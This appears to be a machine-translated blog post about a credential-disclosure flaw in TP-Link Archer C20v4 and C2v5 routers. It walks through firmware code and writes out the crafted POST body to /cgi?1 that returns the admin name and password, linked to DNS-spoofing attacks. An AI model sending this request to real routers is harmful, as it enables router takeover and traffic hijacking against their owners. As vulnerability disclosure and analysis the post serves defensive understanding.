Siguiendo el truco tp-link

Hackear con dns spoofing es un método de ataque bastante común. Principalmente por su simplicidad. La esencia del ataque es cambiar la dirección dns en la configuración de red de la víctima a la dirección del servidor dns del atacante para devolver una IP falsa. Y más adelante, a quién le importa mucho, desde las páginas banales de phishing de las redes sociales por robar contraseñas al presunto talón de proveedor con requisitos de pago.

Lo más interesante de todo esto, pienso en las formas en que los bots, de una forma u otra, entran en los enrutadores. Y hoy hablaré sobre uno de estos métodos.

Que tenemos

  1. Nuevo enrutador Archer c20v4, recién salido de la caja, con el último firmware oficial.
  2. Dirección IP externa en la interfaz wan y acceso web abierto.
  3. Una contraseña es lo suficientemente compleja como para no preocuparse por su selección y un círculo limitado de personas que la conocen.
  4. Después de un día: dns spoofing y todas las solicitudes se envuelven en un trozo.

Lo que necesitas
Descubra cómo acceder al dispositivo.

En primer lugar, en un paciente de prueba, se probaron todos los errores antiguos conocidos que se encontraron en Google. Por supuesto, nada funcionó.

Se encontró un script en el github ( tyk ) que le permite ejecutar comandos de forma remota en los modelos C20i y C2 desde la raíz. Un poco no es lo que necesitamos, pero establece la dirección correcta.

Todas las funciones tenían el mismo "shell" para las solicitudes: estas son solicitudes POST para url / cgi? 2 (y 7), " [setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "y un árbitro especial.

Descargue los códigos fuente de nuestro firmware desde el sitio oficial tp-link y descomprímalo. Porque la línea de enrutadores es la misma, entonces el software debería ser al menos un poco similar, ¿verdad?

grep
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


Bingo El nombre del archivo sugiere que será aún más interesante. Encontramos en el código una línea en la que vimos el querido "cgi? 2". A continuación se muestra la función completa:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


Esta función, cuando se ejecuta, llama a otra - getUsrName ().

Función de inicio de sesión:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


Pero simplemente no haga nada con el inicio de sesión. Estamos interesados ​​en una contraseña. Sabemos que el inicio de sesión se almacena en la variable adminName, dentro del objeto USER_CFG. Una búsqueda en la fuente dio los siguientes resultados: (Dejaré solo el resultado deseado)

Salida grep
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


Abra reduce_data_model.xml y encuentre el siguiente fragmento de código en él:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


Aquí hemos almacenado la variable ya conocida "AdminName" y junto a ella - AdminPwd. Suena como la verdad.

Ahora solo tenemos que formar la solicitud POST correcta, a la que debemos responder con los datos necesarios al enrutador. Volvemos nuevamente al guión desde el github y vemos cómo se hace allí:

datos
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


Por analogía, formulamos nuestra solicitud:

datos
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


IIIiii enviar. En Wireshark, el paquete se ve así:

solicitud


Nos fijamos en la respuesta:

la respuesta


Un lector atento notará que la solicitud POST se envió a "/ cgi? 1", y no como en el script a "/ cgi? 2". Eso es correcto Solo necesitamos encontrar la contraseña. Después de recibir los datos para la autorización, ya puede participar en una desgracia uniforme.

Inicia sesión:

OBTENER solicitud


Y ya estamos autorizados a estafar datos que solo consideramos importantes al buscar en el archivo reduce_data_model.xml:

solicitud


la respuesta


solicitud


la respuesta


Por el momento, los códigos fuente del enrutador C20v4 se han eliminado del sitio web Tp-Link y los códigos V5 se han publicado en su lugar. Pero desafortunadamente, todavía no hay firmware oficial.

La buena noticia: esta vulnerabilidad solo se aprovecha si el acceso web está abierto para todos.
La mala noticia: los bots de alguien ya están llamando a direcciones externas con las solicitudes correctas.

Además del modelo ArcherC20V4 , el modelo ArcherC2V5 también se ve afectado por esta vulnerabilidad .

Source: https://habr.com/ru/post/es419071/


All Articles